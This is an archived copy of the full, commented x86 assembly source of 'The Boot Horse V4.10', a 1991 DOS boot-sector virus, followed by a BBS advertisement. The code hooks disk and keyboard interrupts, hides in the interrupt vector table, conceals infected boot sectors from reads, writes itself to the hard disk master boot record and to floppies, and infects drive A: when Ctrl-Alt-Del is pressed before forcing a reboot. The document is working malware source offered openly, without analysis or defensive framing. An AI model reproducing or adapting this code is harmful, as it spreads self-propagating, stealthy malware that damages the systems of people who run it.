home *** CD-ROM | disk | FTP | other *** search
- .radix 16
-
- ;******************************************
-
- ; *
-
- ; Code masters LTD. presents: *
-
- ; THE BOOT HORSE V4.10 *
-
- ; Finished on the 25.04.1991. *
-
- ; This is a boot virus,which does not *
-
- ; "cuts" memory.It places itself into the *
-
- ; second part of the interrupt table.If *
-
- ; it is resident you will not be able to *
-
- ; see the infected boot sector.If you *
-
- ; press CTRL-ALT-DEL & INT 13h had not *
-
- ; been changed,drive A: will be infected. *
-
- ; It shows you the message 'Brr...!' with *
-
- ; possibility 1/16. *
-
- ; Good luck! *
-
- ;******************************************
-
- Start:
-
- cld ;clear direction
-
- xor ax,ax ;clear ax
-
- mov bp,7c00 ;bp=7c00
-
- mov ds,ax ;ds=ax=0
-
- mov ss,ax ;ss=ax=0
-
- mov sp,bp ;sp=bp=7c00
-
- push ax ;save abs. addr. 0000:7c00 in stack for retf
-
- push bp ;
-
- xor di,di ;clear di
-
- les bx,[di+9*4] ;load es:bx with current int 09h
-
- mov word ptr [bp+old9h-Start],bx ;save it in a variable
-
- mov word ptr [bp+old9h-Start+2],es
-
- les bx,[di+13*4] ;load es:bx with current int 13h
-
- mov word ptr [bp+old13h-Start],bx ;save it in a variable
-
- mov word ptr [bp+old13h-Start+2],es
-
- mov ax,0020 ;ax=20
-
- mov [di+9*4],offset int9h-Start ;set int 09h
-
- mov [di+9*4+2],ax
-
- mov [di+13*4],offset int13h-Start ;set int 13h
-
- mov [di+13*4+2],ax
-
- mov es,ax ;es=ax=20
-
- mov cx,0200 ;will move 512 bytes
-
- mov si,bp ;si=bp=7c00
-
- rep movsb ;move to 0020:0000 (vectors)
-
- push es ;save es&ax for retf
-
- mov ax,offset here-Start
-
- push ax
-
- retf ;go to 0020:here-Start
-
- here:
-
- test byte ptr [046C],0F ;show a message with possibility 1/16
-
- jnz dont
-
- mov si,offset msg-Start ;si point the message
-
- mov cx,endmsg-msg ;strings to show
-
- show_it:
-
- db 26 ;ES:lodsb
-
- lodsb ;load next char
-
- mov ah,0e ;show char
-
- xor bh,bh
-
- int 10 ;do it
-
- loop show_it ;show next
-
- dont:
-
- xor ah,ah ;initialize
-
- int 13
-
- mov es,cx ;es=cx=0
-
- xchg ax,di
-
- inc ax ;ax=201 =>read one sector.
-
- mov bx,bp ;bx=bp=7c00
-
- inc cx ;sector 1,cylinder 0.boot sector
-
- mov dx,0080 ;dx=0080
-
- cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd
-
- je hard
-
- push dx ;save dx
-
- xor dl,dl ;drive A:
-
- push ax ;save ax
-
- int 13 ;read old bootsector from diskette
-
- pop ax ;restore ax=201,read one sector
-
- pop dx ;drive C:
-
- mov bx,0600 ;bx=600
-
- call ojoj ;read hdd's boot sector
-
- jc goout ;no hdd installed
-
- call check ;infected?
-
- je goout ;yes ->out!
-
- mov ax,0301 ;write one sector (save old)
-
- push ax ;save ax
-
- mov cx,0004 ;sector 4,cylinder 0
-
- int 13 ;do it
-
- mov byte ptr cs:[ident-Start],dl ;set identificator
-
- push cs ;es=cs
-
- pop es
-
- mov si,07BE ;
-
- mov di,01BE ; copy old partition
-
- mov cx,64d ;
-
- rep movsb ;
-
- pop ax ;Write one sector,ax=301
-
- xor bx,bx ;from addr ES:BX,bx=0 =>write virus
-
- inc cx ;sector 1,cylinder 0.Boot sector.
-
- hard:
-
- int 13 ;do it
-
- goout:
-
- mov byte ptr cs:[ident-Start],0 ;set ident
-
- retf ;go to 0000:7c00
-
- int13h:
-
- ;save ax,ds
-
- push ax
-
- push ds
-
- cmp ah,02 ;function read?
-
- jne skip
-
- cmp dl,80 ;drive A,B or C?
-
- ja skip
-
- cmp cx,0001 ;
-
- jne notboot ;gonna read bootsector?
-
- or dh,dh ;
-
- jnz notboot ;
-
- pop ds ;restore ax,ds
-
- pop ax
-
- call ojoj ;execute the task
-
- jc all ;if error then no sence
-
- pushf ;save some registers
-
- push ax
-
- push cx
-
- push dx
-
- call check ;infected?
-
- jne notnow
-
- mov ax,0201
-
- inc cx ;if so then make some tricks
-
- inc cx ;sector 3,cylinder 0
-
- inc dh ;side 1
-
- test dl,80 ;hdd?
-
- je dolie ;if not then
-
- inc cx ;sector 4,cylinder 0
-
- dec dh ;side 0
-
- dolie:
-
- call ojoj ;read boot
-
- notnow:
-
- pop dx ;restore registers
-
- pop cx
-
- pop ax
-
- popf
-
- all:
-
- ; retf 0002 ;return to caller
-
- db 0ca,2,0
-
- notboot:
-
- test dl,80 ;drive=C?
-
- jne skip ;if so =>out!
-
- xor ax,ax ;clear ax
-
- mov ds,ax ;ds=ax=0
-
- mov al,byte ptr [043F] ;this byte shows whether the motor is active
-
- push dx ;save dx
-
- inc dl ;adjust dl
-
- test al,dl ;check if the motor is active.
-
- pop dx ;restore dx
-
- jnz skip ;if so =>leave
-
- call infect ;infect it
-
- skip:
-
- pop ds ;restore flags,ax,ds
-
- pop ax
-
- do:
-
- db 0EAh ;go to the original int 13h
-
- old13h dd 000h ;JMP XXXX:XXXX
-
- infect:
-
- push bx ;save some registers
-
- push cx
-
- push dx
-
- push es
-
- mov ax,0201 ;will read 1 sector
-
- mov cx,0001 ;sector 1,cylinder 0
-
- xor dh,dh ;side 0
-
- call ojoj ;do it
-
- jc leave ;on error...
-
- mov byte ptr cs:[count-Start],36d ;load counter
-
- call check ;infected?
-
- je leave ;leave if so.
-
- mov ax,0301 ;write one sector
-
- inc cx ;sector 3,cylinder 0
-
- inc cx
-
- inc dh ;side 1
-
- push ax ;save ax
-
- call ojoj ;do write (save old bootsector)
-
- pop ax ;restore ax
-
- jc leave ;write protected
-
- push cs ;es=cs
-
- pop es
-
- xor bx,bx ;write virus
-
- dec cx ;make cx=1
-
- dec cx ;sector 1,cylinder 0
-
- dec dh ;side 0
-
- call ojoj ;that's it!
-
- leave:
-
- pop es ;restore registers
-
- pop dx
-
- pop cx
-
- pop bx
-
- ret ;return
-
- ojoj:
-
- pushf ;this calles the original int 13h
-
- push cs
-
- call do
-
- ret
-
- check:
-
- cmp es:[bx],31FCh ;this checks the first 2 bytes
-
- ret ;to understand if the disk is infected
-
- int9h:
-
- push ax ;the keybord interrupt.save AX
-
- mov ah,02 ;check if ctrl-alt is pressed
-
- int 16 ;
-
- test al,00001100b ;if not =>exit
-
- jz exit
-
- in al,60 ;is del pressed?
-
- cmp al,53
-
- je cont ;if so...
-
- exit:
-
- pop ax ;restore ax
-
- db 0EAh ;go to the old int 09h
-
- old9h dd 000h ;JMP XXXX:XXXX
-
- cont:
-
- mov al,20 ;free interrupts
-
- out 20,al ;do it
-
- mov ax,0003 ;clear screen
-
- int 10 ;do it
-
- mov dx,03D8 ;chose video port
-
- mov al,04 ;video flag
-
- out dx,al ;no video
-
- mov ax,0060 ;es=60
-
- mov es,ax ;
-
- xor bx,bx ;drive A
-
- xor dl,dl ;bx=0
-
- mov ds,bx ;dx=bx=0
-
- mov byte ptr cs:[count-Start],18d ;load counter to 1 sec.
-
- cli ;set int 1ch
-
- mov [bx+1c*4],offset int1ch-Start
-
- mov [bx+1c*4+2],cs
-
- sti
-
- cmp [bx+13*4],offset int13h-Start ;is int 13h changed?
-
- jne reset ;if so reset computer
-
- call infect ;infect disk in drive A
-
- reset:
-
- xor bx,bx
-
- mov ds,bx ;don't count memory !
-
- mov [bx+0472],1234
-
- ; JMP FFFF:0000 ;Reset
-
- db 0ea,00,00,0ff,0ff
-
- int1ch:
-
- dec byte ptr cs:[count-Start] ;decrease counter
-
- jz reset ;if zero then reset
-
- iret ;otherwise continue
-
- msg db 'Brr...!',7,0a,0dh, ;message
-
- endmsg label word
-
- ident db 0 ;0 for fdd,80 for hdd
-
- count label byte
-
- partition db 64d dup (?)
-
- bootident dw 0AA55
-
- endcode label word
-
-
-
-
- ;─────────────────────────────────────────────────────────────────────────;
-
- ;──────────────────> and Remember Don't Forget to Call <──────────────────;
-
- ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
-
- ;─────────────────────────────────────────────────────────────────────────;
-
-
-
-